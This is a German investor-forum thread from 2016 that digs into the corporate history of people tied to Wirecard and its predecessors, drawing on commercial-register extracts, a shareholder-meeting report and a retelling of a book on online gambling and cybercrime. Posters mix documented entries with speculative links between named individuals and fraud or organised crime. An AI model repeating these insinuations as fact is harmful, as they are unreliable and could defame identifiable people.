      Die "Firma" (um Probleme mit den Anwälten zu umgehen, wenn ich hier wieder eine Firma erwähne, die dann laut Anwälten der "Firma" wieder nichts mit einer anderen, gerade aktuellen, Teilfirma der "Firma" zu tun hat, spreche ich von der "Firma", wenn ich irgendeine Firma meine, die mit EPM/EBS/Camarades/Infogenie/Wirecard zu tun hat).

      Blöder Anfang. Neu.

      Die Firma erstaunte mich seit Jahren mit unterschiedlichen Graden an Offenheit. Es gab z.B. offene Aussagen in russischen Foren, denen komplette Verschlossenheit in Geschäftsberichten gegenüber stand. Aber unterschiedliche Grade an Offenheit gibt es auch hinsichtlich der Aussagen in Geschäftsberichten. Da steht ein Roman über Paul Bauer-Schlichtegroll, aber kaum drei Zeilen über Markus Braun (z.B. im Aktienprospekt 2005)

      Über Paul steht da:
      Herr Paul Bauer-Schlichtegrollwurde 1963 in Koblenz geboren. 1984 gründete Herr BauerSchlichtegroll nach abgeschlossenem Abitur und Auslandsaufenthalten in Nairobi und Sao Paulo eine Event-Agentur in Düsseldorf, die er 1987 verkaufte. 1989 gründete er in München eine Gesellschaft, welche sich mit dem Import von Textilien aus Asien beschäftigt. In dieser war er aktiv, bis es 1995 zum Verkauf kam. 1997 gründete er die Max Madhouse GmbH, ein Import- und Vertriebsunternehmen für TrendSportartikel aus den USA und Italien. Dort war Herr Bauer-Schlichtegroll bis Mai 2000 Geschäftsführer. Im Mai 1999 gründete er die CPBS Verwaltungs-GmbH in München und war dort bis 2002 Geschäftsführer, bis diese 2002 in CMH AG umgewandelt wurde und er dort bis heute leitender Vorstand ist. Bereits im Juli
      1998 gründete er die damalige EPM AG, die heutige ebs Holding AG, bei der er von Juni 1999 bis Oktober 2005 leitender Vorstand war. Seit 30. August 2005 ist er Aufsichtsratsmitglied der Wire Card AG.

      Das ist mehr, als ich über ihn weiß und es steht in einem offiziellen Prospekt. Das passiert mir bei der "Firma" selten :)

      Aber es fehlt wiederum eine ganze Menge...

      Die CPBS wurde in Berlin gegründet und neben "PBS" steht da auch "CBS" drin. Das ist die Frau von PBS.

      Es fehlt auch komplett das Immobilienengagement des Herrn PBS. Das finde ich erstaunlich.
      https://www.google.de/search?num=100&site=&source=hp&q="Cent…

      Gerade wenn schon das Textilgeschäft erwähnt wird bei einem Mann, der sein Geld eher durch textilfreie Darstellungen verdient hat... Denn das hängt doch irgendwie zusammen...

      Davon abgesehen, dass meines Wissens die Firma nicht "Max Madhouse GmbH" heißt, sondern "Max Mad House GmbH" (solche Fehler bei der "Firma" passieren öfter als ich derzeit Sex habe, ob textilfrei oder nicht), ist einiges doch interessant.

      Zum Beispiel, dass wieder einmal verschiedene Dinge verschieden deutlich gesagt werden: Die eine Firma wird mit dem Namen erwähnt (auch wenn er falsch geschrieben wurde), die andere Firma nur nebulös (eine Gesellschaft,...)

      Das ist typischer Stil der "Firma" und es passiert so konsequent, dass es zum sofortigen Nichtbestehen jeder Statistik-Grundstudiumsprüfung führen würde, es für wahrscheinlich zu halten, dass es unabsichtlich geschieht.

      z.B.
      Berlin? ja. München? ja. und was ist mit Frankfurt?
      und: Textilien? Immobilien? Sex? Oder alles zugleich?
      Und wann genau wurde die "Max Madhouse" oder die "Max Mad House" gegründet? 1997?
      Nein Nein Nein, oder?

      HRB 43 915 -- 22. 10. 1997: United Authentics GmbH Textilim- und export, Frankfurt am Main (Neuhofstr. 29, 60318 Frankfurt ).
      Gegenstand des Unternehmens ist: der Im- und Export von Textilien und der Handel mit Waren aller Art, mit Ausnahme solcher, zu denen eine besondere Erlaubnis erforderlich ist.
      Stammkapital: 100 000,-- DM.
      Geschäftsführer: Karl Wendelin Fiederling, Kaufmann, Heigenbrücken. Gesellschaft mit beschränkter Haftung. Der Gesellschaftsvertrag ist am 16. Juni 1992 abgeschlossen. Er ist mehrfach, zuletzt am 12. Juni 1995 geändert. Durch Beschluß der Gesellschafterversammlung vom 21. Mai 1997 ist der Sitz von München nach Frankfurt am Main verlegt und der Gesellschaftsvertrag in § 1 Abs. 2 (Sitz) entsprechend geändert. Der bisher im Handelsregister des Amtsgerichts München eingetragene Paul Bauer-Schlichtegroll ist nicht mehr Geschäftsführer. Karl Wendelin Fiederling ist zum Geschäftsführer bestellt. Er hat Alleinvertretungsrecht. Er ist berechtigt, mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte mit der Gesellschaft abzuschließen (§ 181 BGB).
      Nicht eingetragen: Bekanntmachungen der Gesellschaft erfolgen nur im Bundesanzeiger.


      Das dürfte die "nebulöse" Firma sein, der Verkauf 1995 wäre halt erst 1997 so richtig im Handelsregister deutlich geworden. Kann schon mal passieren, die eine AG wurde ja schließlich auch zweimal gelöscht. So ist das halt bei "der Firma".

      Die Firma kam aus Frankfurt wieder zurück mit einem neuen Namen:

      24.05.2002
      HRB 142810: Atlantis Immobilien GmbH Hallbergmoos (Am Söldnermoos 8, 85399 Hallbergmoos ). Gesellschaft mit beschränkter Haftung. Gesellschaftsvertrag vom 16.06.1992, zuletzt geändert am 21.05.1997. Die Gesellschafterversammlung vom 21.02.2002 hat die Änderung der §§ 1 (Firma, bisher United Authentics GmbH Textilim- und export und Sitz bisher Frankfurt am Main, Amtsgericht Frankfurt am Main HRB 43915 ) sowie 2 (Gegenstand des Unternehmens) der Satzung beschlossen.


      und siehe da:
      2005 tauchte Markus Pfeiffer auf!
      Atlantis Immobilien GmbH, Grasbrunn, Landkreis München (Bretonischen Ring 4, 85630 Grasbrunn).
      Ausgeschieden Geschäftsführer: Glosz Werner.
      Bestellt Geschäftsführer: Pfeiffer Markus, einzelvertretungsberechtigt; mit der Befugnis, im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen.


      Wenn das die Ende 2005 erwähnte Firma gewesen ist, steht im Wirecardprospekt halt wieder nur ein Teil der Wahrheit.

      Das Verwirrspiel endet nicht an diesem Punkt und nicht bei dieser Firma:
      06.07.2011 / Veränderung
      Fünfte Century Projekt Immobilienmanagement GmbH & Co. KG, Icking, Landkreis Bad Tölz-Wolfratshausen, Bergstr. 12, 82024 Taufkirchen.
      Sitz verlegt, nun: Taufkirchen, Landkreis München.
      Geschäftsanschrift: Bergstr. 12, 82024 Taufkirchen.
      Firmendaten geändert, nun:
      Persönlich haftender Gesellschafter: Atlantis Immobilien GmbH, Taufkirchen (Amtsgericht München HRB 142810).
      Prokura erloschen: Bauer-Schlichtegroll, Paul, Ermatingen (Schweiz), .
      04.07.2011 / Veränderung

      Atlantis Hausverwaltung GmbH & Co. KG, Grasbrunn, Landkreis München, Thalkirchner Str. 56, 80337 München.
      Firma geändert, nun: Cosmopolitan Hotel Harburg GmbH & Co. KG.
      Sitz verlegt, nun: München.
      Geschäftsanschrift: Thalkirchner Str. 56, 80337 München.
      Eingetreten:
      Persönlich haftender Gesellschafter: Cosmopolitan Design Company GmbH, München (Amtsgericht München HRB 105317).
      Ausgeschieden:
      Persönlich haftender Gesellschafter: Atlantis Immobilien GmbH, Taufkirchen (Amtsgericht München HRB 142810).
      Prokura erloschen: Bauer-Schlichtegroll, Paul, Ermatingen (Schweiz),


      und auch die CPBS/CMH karussellierte kräftig:
      04.06.2003

      HRA 28861 -- 4. Juni 2003: Dritte Century Projekt Immobilienmanagement GmbH & Co. KG Berlin (Bänschstraße 73, 10247 Berlin ).
      Persönlich haftende Gesellschafterin:
      Atlantis Immobilien GmbH Sitz: Hallbergmoos (Amtsgericht München, HRB 142810).
      Einzelprokura: 1. Paul Bauer-Schlichtegroll Icking. Die persönlich haftende Gesellschafterin CPBS Verwaltungs GmbH ist aus der Gesellschaft ausgeschieden. Die Atlantis Immobilien GmbH ist als persönlich haftende Gesellschafterin eingetreten. Jeder persönlich haftende Gesellschafter hat Einzelvertretungsbefugnis.



      Bei der Atlantius ... GmbH&Co KG war Schlichtegroll wieder da
      HRA 84148: Atlantis Hausverwaltung GmbH & Co. KG Grasbrunn (Bretonischer Ring 4, 85630 Grasbrunn ). Kommanditgesellschaft.
      Beginn: 12.10.2000. Jeder persönlich haftende Gesellschafter vertritt einzeln.
      Persönlich haftender Gesellschafter: Atlantis Immobilien GmbH, Hallbergmoos (Amtsgericht München, HRB 142810).
      Einzelprokura: Bauer-Schlichtegroll Paul. Der Sitz ist von Berlin (AG Charlottenburg HRA 31545) nach Grasbrunn verlegt.
      Die Firma (bisher: Siebte Century Projekt Immobilienmanagement GmbH & Co. KG) ist geändert.


      16.06.2004

      HRA 84197: Vierte Century Projekt Immobilienmanagement GmbH & Co. KG Icking (Ichoring 27 b, 82057 Icking ).
      KommanditgesellschaftBeginn: 12.08.1998. Jeder persönlich haftende Gesellschafter vertritt einzeln.
      Persönlich haftender Gesellschafter: Atlantis Immobilien GmbH, Hallbergmoos (Amtsgericht München, HRB 142810).
      Einzelprokura: Bauer-Schlichtegroll Paul. Der Sitz ist von Berlin (AG Charlottenburg HRA 28948) nach Icking verlegt.


      für mich sieht es so aus, als habe Paul die im Prospket erwähnbte Firma verkauft, aber dann tauchte er dort wieder auf.

      Das ist kein Schmarrn. Es zeigt den modus operandi der "Firma"


      aber zurück zur MAX MAD HOUSE

      1996 war das Markenzeichen Max Mad House registriert worden für die oben erwähnte Firma
      http://ctm.trademarkdirect.co.uk/max-mad-house-000014449
      United Authentics GmbH Textilim- und export

      schlußendlich wurde die Firma dann noch umbenannt in
      LH&E Residences GmbH


      Wenn nun jemand 2002 einen betrügerischen Dialer openme.exe hatte und sich wundert, wer dahinter steckt, schreibt dieser jemand dann so Dinge wie

      "Ich hab mir vor ca. 2 Wochen openme.exe eingefangen und heute ist es mir nach ca. 4 Stunden Arbeit gelungen den Mist endlich zu entfernen.
      Vor habe ich aber noch nachgeforscht wem wir diesen Dialer/ Einbrecher verdanken: Laut dem von openme.exe geöffneten Porno Werbungen ist das die EBS Electronic Billing Systems AG.
      Sucht man im Bundestelefonbuch (http://www.bundestelefonbuch.de) nach dieser AG kommt man zu einer Max Mad House GmbH aus 85399 Hallbergmoos."


      So. Das war der chaotische Teil.
      3 Antworten
      Avatar
      schrieb am 15.04.16 19:22:45
      Beitrag Nr. 13 ()
      Antwort auf Beitrag Nr.: 52.200.121 von jigajig am 15.04.16 18:49:02So. Das war der chaotische Teil.

      Du meinst, jetzt wird's anders? :cool:
      2 Antworten
      Avatar
      schrieb am 15.04.16 20:07:34
      Beitrag Nr. 14 ()
      Kassengriff?
      Hallo hitman 69,

      ich habe auf einer HV auch gehört, "ob B.M. weiter macht, bis die letzte Mark
      verknackt ist!" In Euro mildert das zwar die Optik, gilt aber auch sicherlich in Euro.

      Sicher scheint, dass B.M. über seine damalige "Menzelverplanungs AG" pardon,

      Menzel Vermögensverwaltungs AG > zunächst in Liquidation > dann Menzel als Vorstand ausgeschieden > dann die (längst vorher beschlossene) Umfirmierung in "Nomera.... >dann Insolvenz,

      genügend Stimmrechte (eigene und in Vollmacht)der NYH AG hatte, um Vorgänge in seinem Sinne voran zu treiben.

      Möglicherweise war das Manöver eigentlich nur auf die Vermarktung eines geplanten ECOcity-Centers im alten NYH AG Betriebsgelände abgestellt (siehe B.M. im Sonnenglanz eines großen Artikels im Hamburger Abendblatt zu jener Zeit). Die Adresse für Interesse an einer Ecocity-Beteiligung für dieses Projekt war postalisch immerhin bei B.M.Vermögensverwaltung angesiedelt.

      Nicht auszuschließen sind "Nebentätigkeiten" aus dem B.M.-Umfeld, das horrende Beträge für den Kauf von "Non Valeur-Firmen" für den NYH AG - Konzern, eingesammelt hat.

      Das neue AR-Mitglied (gescheiterte Bewerbung als Karnevalsprinz) scheint mit seinen "immensen Erfahrungen" auch keine Impulse zu setzen.

      Die wenigen aktiven unbedeutenden Kleinaktionäre haben wohl kaum eine Chance, eine
      Änderung herbei zu führen. Der AR ist nicht nur gefragt - möglicherweise auch haftbar.


      Boris Menzel, Schlichtegroll, Pfeiffer, wie bei der wirecard

      ECOCITY = Pfeifer
      https://www.moneyhouse.de/myWebtrade-GmbH-Taufkirchen/Markus…


      was ist mit doppler/netplay?
      https://www.moneyhouse.de/Torsten-Doppler
      Avatar
      schrieb am 15.04.16 20:36:10
      Beitrag Nr. 15 ()
      Antwort auf Beitrag Nr.: 52.200.337 von Wilmentrudis am 15.04.16 19:22:45
      Zitat von Wilmentrudis: So. Das war der chaotische Teil.

      Du meinst, jetzt wird's anders? :cool:

      das ist der Hintergrund zu einigen postings im wirecardthread
      1 Antwort
      Avatar
      schrieb am 15.04.16 20:36:38
      Beitrag Nr. 16 ()
      Mike Hansch Hauptversammlung miobet/genpage

      Wie Herr Prutsch dann feststellte, ha Herr Hansch am 7. Februar 2007 als damaliger Geschäftsführer der Enkelgesellschaften Inatec und Webtrade die Kopie mehrerer hunderttausend Daten des Konkurrenzunternehmens Jazette von einem Server der Inatec GmbH veranlasst. Hierzu bat Herr Prutsch um eine Stellungnahme. Wie Herr Hansch daraufhin betonte, wurde von ihm eine standardmäßige Datensicherung veranlasst und von Herrn Glockemann als IT-Spezialisten überwacht. Dieser Vorgang wurde Jazette nicht mitgeteilt. Hinsichtlich des Verkaufs der Genpage-Gruppe, zu der Inatec und Webtrade gehören, sah der Vorstandsvotsitzende aber kein Risiko aufgrund der Datensicherung.

      Nähere Auskünfte verlangte Herr Prutsch auch zum Verkauf der Genpage-Gruppe. Zum 31. Januar 2007 belief sich der Cashbestand der Genpage-Gruppe auf 1,28 Mio. Euro, dem standen aber auch Verbindlichkeiten gegenüber. Nach Meinung von Herrn Hansch wäre eine Abwicklung von Genpage teurer gekommen als der Verkauf.

      Ein weiterer Punkt, der von vielen Aktionären angesprochen wurde, war der Strafantrag gegen das frühere Vorstandsmitglied Binsner. Laut Herrn Loch hat die Gesellschaft am 10. Juli 2007 in Frankfurt Strafanzeige gegen Herrn Binsner gestellt. Am 7. Februar 2008 kam es zunächst zu einer Schadensersatzklage über 1 Mio. Euro, allerdings gehe man bei MioBet von einem Schaden in Höhe mehrerer Millionen Euro aus. Herr Binsner sei auch nicht abgetaucht, da die Klage zugestellt wurde. Bei dieser sei auch keine Frist versäumt worden, wie Herr Prutsch mutmaßte, da die Klage nicht fristgebunden sei. In diesem Zusammenhang teilte der Aufsichtsratsvorsitzende auch mit, dass Herr Binsner nicht abberufen wurde, sondern dass dieser sein Amt am 8. Dezember 2006 niedergelegt hat. Die Strafanzeige wurde dabei vom Vorstand im Einvernehmen mit dem Aufsichtsrat gestellt.

      Genauere Auskünfte verlangte Herr Prutsch auch zu den Gesellschaftern oder Aktionären der Market Alliance Agency Ltd. Die Gesellschafter der Market Alliance benannte Herr Hansch mit Safe Holdings Ltd. Zu den wirtschaftlichen Eigentümern wollte sich der Vorstandsvorsitzende jedoch nicht äußern, da dies der Gesellschaft Schaden zufügen könnte.

      Auf die Frage nach den Gründen für die vorgeschlagene Satzungsänderung unter TOP 5 erklärte Vorstandsmitglied Elke Hansch, die Gesellschaft wolle nicht dauerhaft Aufbewahrungsstelle für die Aktien sein, außerdem erfolge mit dem Beschluss eine Klarstellung hinsichtlich der Teilnahme an der Hauptversammlung. Der Aktionär Prutsch vertrat die Auffassung, die Digital Media N.V. sei noch oder sei Mehrheitsaktionär gewesen, und deshalb müsse ein Abhängigkeitsbericht erstellt werden, zumal Herr Hansch auch Director dieser Gesellschaft sei. Da nach dem Kenntnisstand der Gesellschaft Digital Media nicht Mehrheitsaktionär ist, sei auch kein Abhängigkeitsbericht erstellt worden, betonte Frau Hansch.

      Weitere Fragen von Herrn Prutsch beschäftigten sich mit der D&O-Versicherung, dem Bestand an eigenen Aktien und dem Aktienbesitz von Digital Media an MioBet. Die abgeschlossene D&O-Versicherung weist nach Aussage von Frau Hansch eine maximale Haftpflichtsumme für Vermögensschäden von 6 Mio. Euro auf, wobei die Versicherung noch bis 5. April 2008 bezahlt ist. Derzeit halte MioBet keine eigenen Aktien und die Höhe des Anteilsbesitzes von Digital Media könne sie nicht nennen, da keine Meldung nach §20 AktG vorliege.

      Anschließend stellte Herr Prutsch eine Vielzahl von Fragen zur Digital Media N.V. Curacao und zur BizOnNet, die aber alle nicht beantwortet wurden, da dies nicht die MioBet AG betreffe. Auch die Fragen zur Nachbesserungsaktion wurden nicht beantwortet, da diese ebenfalls nicht die MioBet AG beträfen. In einem Interview im Januar 2007 habe Herr Hansch von der profitablen Einbringung der Spielstätten berichtet, wozu Herr Prutsch eine Stellungnahme erbat. Nach den Worten des Vorstandsvorsitzenden hat die Einbringung nicht stattgefunden. Die geplante Einbringung wurde rückabgewickelt, da von Jazette keine Gelder flossen.

      Karsten Primke, der strategische Berater des Vorstands, hat, wie Herr Prutsch im weiteren Verlauf feststellte, lange im Gefängnis gesessen. In diesem Zusammenhang er wissen, ob dem Vorstand die kriminelle Vergangenheit von Herrn Primke bekannt war. Wie Herr Hansch erklärte, hatte man bei MioBet davon keine Kenntnis, und Herr Primke war auch nie operativ tätig für die Gesellschaft. Des Weiteren erkundigte sich Herr Prutsch, wie viele MioBet-Aktien sich noch im Familienbesitz befinden, was unter Hinweis darauf, dass dies für die Tagesordnung nicht relevant sei, nicht beantwortet wurde.

      Etwas verwundert zeigte sich Herr Köhler über das Projekt Sportsbook, denn er fragte sich, wieso sich jemand dafür entscheiden sollte, wenn doch die Quoten schlechter sind. Das miobet.at-Portal funktioniert nach Aussage von Herrn Hansch nur mit Bargeld, und hier werden nicht die hyperaktiven Spieler adressiert, sondern Personen, die nur ab und zu einmal spielen wollen und auch über keine Kreditkarte verfügen. Darüber hinaus bat Herr Köhler um Angabe, ob Verfahren gegen Organmitglieder oder ehemalige Organmitglieder der Gesellschaft anhängig sind. Wie Frau Hansch ausführte, sind neben dem Verfahren gegen Herrn Binsner keine weiteren Verfahren gegen Organmitglieder bekannt.

      Den Bericht des Aufsichtsrats bezeichnete Herr Köhler als den "schlechtesten Aufsichtsratsbericht, den ich je gesehen habe". Allerdings sei dieser nicht nur "grottenschlecht" sondern in seinen fünf Sätzen auch noch falsch, da der Aufsichtsrat nach seiner Aussage den Jahresabschluss der Betonusa geprüft hat. Laut Herrn Loch war dies jedoch nur ein Versehen, denn die Umfirmierung in MioBet erfolgte im Mai 2007.

      Angesprochen wurde auch noch der Stand der Anfechtungsklagen gegen die Beschlüsse der Hauptversammlungen 2007. Wie Herr Hansch hierauf erklärte, wurden Anfechtungsklagen gegen beide Hauptversammlungen in 2007 eingereicht, aber man erwarte kurzfristig die Beschlüsse des Gerichts. Bei der Nichtigkeitsklage gehe es um die angebliche Nichtbeantwortung von Fragen, allerdings sehe man seitens der Gesellschaft dem Urteil zuversichtlich entgegen. Im Vorfeld hatte man dem Kläger die nochmalige Beantwortung der Fragen angeboten, dieser sei darauf aber nicht eingegangen. Hierauf entgegnete Herr Köhler, im Vorschlag der Verwaltung sei nur die Rede davon gewesen, noch einmal die Fragen aufzunehmen, eine Beantwortung sei dagegen nicht vorgesehen gewesen.


      Anschließend stellte Herr Suchan einen Antrag auf Sonderprüfung zur Aufklärung der Vorgänge beim Verkauf der IEE, Cybertronic und Genpage. Hierbei solle vor allem beim Verkauf der ersten beiden Gesellschaften an Market Alliance geprüft werden, ob an der kaufenden Gesellschaften auch Organmitglieder beteiligt sind und wie es dazu kommen konnte, dass die Ansprüche aus den Verträgen nicht werthaltig sind. Auch beim Verkauf von Genpage solle überprüft werden, ob dem Käufer ungerechtfertigte Vorteile eingeräumt wurden und ob der Kaufpreis angemessen war. Zum Sonderprüfer solle Rechtsanwalt Tobias Ziegler bestellt werden.

      Darauf entgegnete Herr Hansch, eine Sonderprüfung werde etwa 100 bis 150 TEUR kosten, und dies aufgrund des Antrags eines Aktionärs, der lediglich 5.000 Aktien im Wert von 500 Euro vertritt. An Herrn Köhler gewandt erklärte er: "Sie mit einer Aktie sind auch nicht besser". Darüber hinaus werde auch noch der eigene Anwalt vorgeschlagen.

      Nach Ansicht von Herrn Suchan spielt es überhaupt keine Rolle, wie viele Stimmen man in der Hauptversammlung vertritt. Aber er habe mindestens 200.000 Stimmen, die ihn vor Gericht unterstützen werden, um dort den Sonderprüfungsantrag durchzusetzen. Zudem wies er die Anschuldigung zurück, es handle sich um den eigenen Anwalt, er habe diesen Anwalt eine halbe Stunde vorher überhaupt noch nicht gekannt. Bei einer Präsenz von 6.160.319 Aktien wurde der Sonderprüfungsantrag bei 600.677 Jastimmen und 4.964.541 Neinstimmen schließlich abgelehnt.
      Avatar
      schrieb am 16.04.16 01:28:06
      Beitrag Nr. 17 ()
      Kennedy FitzGerald (CEO) has ties to penny stock promoters and people who have run afoul of the law. Keith Laslop (CFO) also has ties to
      questionable individuals and was involved in the collapse of NYSE listed Gerova Financial (an SEC investigated company), an alleged Ponzilike scheme. Darren Rennick (President, Bahamas) is featured in a book (Fatal System Error) that describes c yber crime, links to
      sophisticated gangs and stolen financial data.

      Leute wie ich haben das Buch selbstverständlich gelesen, ich muß aber zugeben, dass ich das ganze Casinogedöns überblättert habe...
      Fatal System Error (2010) is a nonfiction work written by Joseph Menn that tells a story of espionage that penetrates the network of international mobsters and hackers who use the Internet to extort money from businesses, steal from tens of millions of consumers, and attack government networks.[1]

      Its main characters, the heroes of the book, are Barrett Lyon and Andy Crocker. The book uses the real-life account of the capture of cybercriminals Ivan Maksakov, Alexander Petrov, and Denis Stepanov [2] to paint the picture of the cybercrime landscape.

      Rennick wird mehrfach erwähnt. Er wurde von Barrett Lyon und Mickey Richardson zum CEO von BetCRIS gemacht (gegründet von Ron Sacco, aber der war wegen einer Steuersache in Haft und übergab die Firma an Mickey Richardson), zuvor war er bei "Digital Gaming Solutions", einem der größten Anbieter für Online-Gambling-Software.
      Er hat auch BetOnSports auf den Weg gebracht. Dann gab's da noch die Prolexic (eine DDos-Abwehrfirma in Konkurrenz zu cloudflare). Joseph Menn nennt das Kapitel passenderweise "War Games". Und das spielte alles in Costa Rica, wo ja auch Bobby Rica zu finden war (Ynot) (zur Erinnerung: Zatarra/Enterpayment, Kalder/Ynot)

      Es war ein Krieg um DDOS, dabei spielte Kasachstan eine Rolle (dort wo ja auch der Hintermann im Fall Bluemay zu finden war, um noch eine Prise Verschwörung reinzubringen). Barrett Lyon hat den US-Behörden einen Tipp gegeben, der zur Festnahme von Cyberkriminellen führte
      https://en.wikipedia.org/wiki/Barrett_Lyon

      Darren Rennick plauderte auch gern mal über Sportler, die gegen sich selbst gewettet haben. Noch ein thema, weglassen...

      Nach einem Rechtsstreit zwischen IQ-Ladorum und Digital Gaming gab es eine Hausdurchsuchung in Costa Rica. Rausgekommen ist nichts, es gab Gerüchte um Bestechung. Darren konzentrierte sich nach dem Schreck eher auf Prolexic.

      Eine Rolle spielte auch Ron Sacco, dem u.a. eine Beziehung zum Gambinoclan nachgesagt wird und der wegen diverser Vergehen mehrfach in Haft war. Er ging auch nach Costa Rica, durfte dort aber nicht bei BetCRIS auftauchen und wurde deshalb von Darren bei Prolexic eingestellt als "consultant" (Januar2004)

      Joseph Menn beschreibt, wie die US-Mafia sich des Onlinegamblings bemächtigte, das immer größere Gewinne versprochen hat. Deshalb - so Joseph Menn - ging die US-Mafia dazu über, statt ID-Diebstahl u.a. Geld zu machen in diesem Bereich.

      über partyPoker schreibt Joseph Menn: "die Firma wurde vom Start weg ein Riesenerfolg und beherrschte die Hälfte des Onlinepokermarktes. Der Börsengang brachte Milliarden, obwohl die Firma geführt wurde von Personen, die Erfahrungen mit Mafia-Scams und Massenbetrug hatten"

      Dabei spielt er u.a. auf den von mir schon erwähnten 650-Mio-US$-Betrug des Gambino Clans in NY an. Damals wurden Millionen von Leuten mit Hilfe eines Trafficbrokers auf von der Mafia kontrollierte Pornoseiten gelotst, dort lauerten Dialer. Dialer? Klingeling ;)

      Später ging man dazu über (weil die FTC Dialer in den USA quasi abschaltete), die Leute zur Eingabe von Kreditkartendaten zu bringen ("Alterskontrolle").

      Joseph Menn spricht von "einem frühen System des Kreditkartenbetrugs".
      (in Europa konnte man Verbraucher dank laxer Verbraucherschützer noch jahrelang mit Dialern abzocken, zum Wohle von Telefongesellschaften, Dialerfirmen und der Pornofirmen von beate Uhse bis Hustler, auch zum Wohle der Werbeindustrie und zum Wohle von Internetportalanbietern wie freenet, dem damaligen Werbepartner der EBS)

      Der Trafficbroker wurde nicht verurteilt, obwohl seine Firmen im selben Gebäude waren wie die Mafiafirmen und obwohl ein Ermittler unter der Hand sagte, er sei sich sicher, dass er direkt beteiligt war (seit 1999 und bis ca. 2005!). So konnte er weiterhin seinen Traffic verkaufen und sogar seinen Weg in den Aufsichtsrat einer deutschen AG finden. Wer will, kann ihn finden :)

      In diesen Fall verwickelt war auch die legendäre Seite sex.com (auch darüber gibt es ein Buch, hab ich gelesen, klar)

      Der Trafficbroker wechselte ebenfalls das Geschäftsfeld und während er früher die Leute zu Pornoseiten lotste, machte er dasselbe nun mit Pokerseiten.

      Über die erwähnte Milliardärin RP schreibt Joseph Menn, sie gehöre zu einer "post-Sacco-Generation die sich nicht um moralische Dinge schert"

      Ihr Vater war ein Holocaustüberlebender, dem man einiges in seiner Vita daher verzeihen sollte... Er hat das Leben genossen und dabei nicht unbedingt geschaut, auf wessen Kosten. Sagen wir es mal so...

      RP hat laut Joseph Menn diverse Betrugsprojekte als Anwältin begleitet. Mit S.W. war sie bei der "Internet Entertainment Group" aktiv (hier sei an ein berühmtes Video von Pamela Anderson mit Tommy Lee erinnert, die älteren Semester könnten das noch kennen). Später verklagte sie ihn und er floh nach Thailand. P.K., der dritte im Bunde, sitzt meines Wissens in Colorado.

      "Als Party Gaming an die Börse ging", schimpft Joseph Menn, "wurde im Prospekt zwar erwähnt, dass sie etwas mit Pornoseiten zu tun hatte, aber kein Wort verloren über ihre Beziehungen zu Betrügern, die Zigmillionen ergaunert haben"

      Bei PartyPoker musste man nicht betrügen, weil die Bank ja immer gewann, man musste nur viele Leute heranschaffen. Das machte der Trafficbroker...

      PartyPoker wurde so groß, weil man die Kontrolle über andere Seiten hatte, die das PP-interface nutzten. Das mag vertraut klingen.

      Man hat Millionen an Werbung gezahlt an yahoo und Google, einige Firmen in den USA mussten später Strafen zahlen wegen der Werbung

      Als PP an die Börse ging, gehörte die Firma zwei Indern und RP sowie ihrem Mann. So kam sie auf die Forbes Liste der reichsten Frauen (genauso wie Nina Wang in Asien - und lustigerweise gibt es da eine Beziehung)

      Darren Rennick, um endlich wieder auf ihn zurück zu kommen, stellte Ruth Parasol bei einem Treffen dem Barrett Lyon vor.

      Der Trafficbroker der Mafia kam (noch für Gambino tätig) 2002 nach Europa und war erster Hauptsponsor einer berüchtigten Messe auf Mallorca. Zu den Mitarbeitern der Poker-Firma gehörte später auch ein Wirecard-Mann der ersten Stunde. Wirecard gehörte neben der gesamten deutschen Pornoszene zu den Besuchern dieser Messe. Alles hängt kmit allem zusammen.

      Die Stiftung der Milliardärin RP wird übrigens im Zusammenhang mit den Panama Papers erwähnt, dabei geht es um Verstrickungen von UK zur Ukraine. Es sei auch erwähnt, dass ich bereits vor den panama papers die besondere Rolle erwähnt hatte, die die UK-Regierung in Sachen Onlinegambling spielte

      Interessanterweise erwähnt Joseph Menn auch Calvin Ayres (von dessen webseite ich immer die schönen Berichte über die Casinowelt kriege). Der sei laut Joseph Menn BoDog-Gründer und verwickelt gewesen in - Börsenmanipulation :)

      Prolexic schützte inzwischen mehrere große Kunden vor DDos-Attacken, zB E-Gold. Barrett Lyon wollte die Firma größer machen und daher die Verbindungen in die Gamblingszene abbrechen (immerhin gehörten zu den Kunden inzwischen Royal Bank of Scotland oder GoDaddy, UK Royal Mail), aber Darren war dagegen und stinksauer.

      Darren brachte dann Keith Laslop (von Betonsports) in die Firma, was wiederum Barrett Lyon nicht passte [der chef von betonsports, Gry kaplan, wurde 2007 verhaftet http://www.heise.de/newsticker/meldung/Online-Casino-Gruende… musste 43 Mio US$ Strafe zahlen und wurde 2009 zu über 3 Jahren Haft verurteilt)

      Dann gab es wieder mal ein Treffen mit Ron Sacco und Mickey Flynn, anlässlich eines Fluges 2006, bei dem womöglich Geld in die USA transferiert wurde. Da fällt mir jetzt wieder die Geschichte mit dem Flugzeug ein, das angeblich RP gehörte und in die "Suitcase-Affäre" verwickelt gewesen sein soll, da ging es um Schmiergeld und Hugo Chavez. Venezuela. Panama Papers. lalala)(https://blendz72.wordpress.com/2008/11/26/gambling-mogul-own…

      Dann taucht noch John Conley auf, der wiederum mit der Genueser Mafia in Pittsburgh verbandelt sein soll und der Millionen in BetCris gesteckt haben soll, so Joseph Menn.

      Als das FBI sein Haus stürmte, fand man ein paar Kalashnikovs und viel Geld, das brachte ihm 2 1/2 Jahre ein.

      Barrett war wohl der gute Mensch, der mit dem FBI kooperierte, Darren der böse, der heimlich doch illegale Gamblingseiten als Kunden von Prolexic hatte.

      Barrett wollte die Firma aufkaufen, als das nicht klappte, wollte er seine Anteile billig verkaufen. Barrett gründete dann mit Perry Wu die Bitgravity (die gehört inzwischen tata). Dann passierte der "Blue Security"-Zwischenfall. Dieser wiederum ist Teil des Buches von Brian Krebs über die Russen... Prolexic konnte den Angriff auf "Blue Security" unter anderem deshalb nicht abwehren, weil Barrett nicht da war. Er hatte Urlaub. Darren schrieb dann die berühmte Meldung, "Blue Security" sei aus dem Geschäft, "ein trauriger Tag".

      2006 gab es ein Angebot von Equinix, Prolefic für 10 Mio US$ zu kaufen. Darren und Co verhinderten das. Barrett wiederum wollte alle illegalen Casinofirmen als Prolefic-Kunden draußen haben, sonst würde er zurücktreten.

      John Strause von Bellwether Group hatte Prolefic begleitet, dann stellte sich aber heraus, dass er auch einen Fond mit Gamblingbezug hatte. Später stieg er bei Darrens "Digital Gaming" ein.

